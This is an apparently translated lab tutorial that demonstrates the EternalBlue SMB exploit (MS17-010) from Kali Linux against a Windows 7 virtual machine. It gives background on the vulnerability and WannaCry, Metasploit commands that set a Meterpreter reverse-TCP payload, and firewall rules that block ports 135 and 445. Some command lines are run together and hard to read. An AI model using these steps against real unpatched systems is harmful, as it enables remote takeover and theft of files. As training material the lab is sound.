
LAB: ATTACKING THE WINDOWS OPERATING SYSTEM VIA THE SMB PROTOCOL VULNERABILITY.
In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB protocol of the Windows operating system. One machine runs the Kali Linux operating system, acting as the attacker (hacker). And another computer acts as the victim machine. The victim machine is running 64-bit Windows 7, which contains the SMB vulnerability. To do this, on the Kali Linux machine we will use an exploit named EternalBlue to attack the Windows 7 machine.
Server Message Block (SMB) is a quite popular file-sharing protocol on Microsoft's Windows platform. Thanks to the SMB protocol, Windows computers connected to each other on the same network layer or within the same Domain can share files with one another. To date, SMB is also known as Common Internet File Sharing (CIFS).
EternalBlue is an exploit based on a vulnerability of the SMB protocol through port 445. Initially, EternalBlue was developed by the United States National Security Agency (NSA). Its full English name is U.S. National Security Agency. But later, it was leaked by the hacker group The Shadow Brokers in 2017. Also in that same year, a large-scale attack of file-encrypting malware – Ransomware, targeting Microsoft Windows computers, took place worldwide. Among them, the most famous was the WannaCry virus. To date, although this vulnerability has been patched by Microsoft via security update MS17-010, a large number of computers running Windows worldwide still have this vulnerability. This vulnerability was disclosed in CVE-2017-0144. (Windows SMB Remote Code Execution Vulnerability). This vulnerability is extremely dangerous and very easy to exploit. What is notable is that to attack through this SMB protocol vulnerability, hackers do not need to send or trick the victim into downloading or running any malicious virus. That is, even if the victim does nothing at all, they can still be easily attacked and have their computer taken over by hackers without ever knowing it.
Prepare 2 virtual machines running on VMware Workstation software:

On the Kali virtual machine (attacker):
ifconfigservice postgresql startservice postgresql statusOn the Windows 7 virtual machine (victim):
ipconfigmsfconsole
search ms17_010
use 0 -> set payload windows/x64/meterpreter/reverse_tcp

=> At this point, the hacker has successfully infiltrated the victim machine. At this time, the hacker can delete or steal files from the victim's machine without them knowing. Even more, the hacker can upload and run viruses directly on it.
To avoid being exploited and abused via the SMB protocol, we need to perform the following tasks:
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"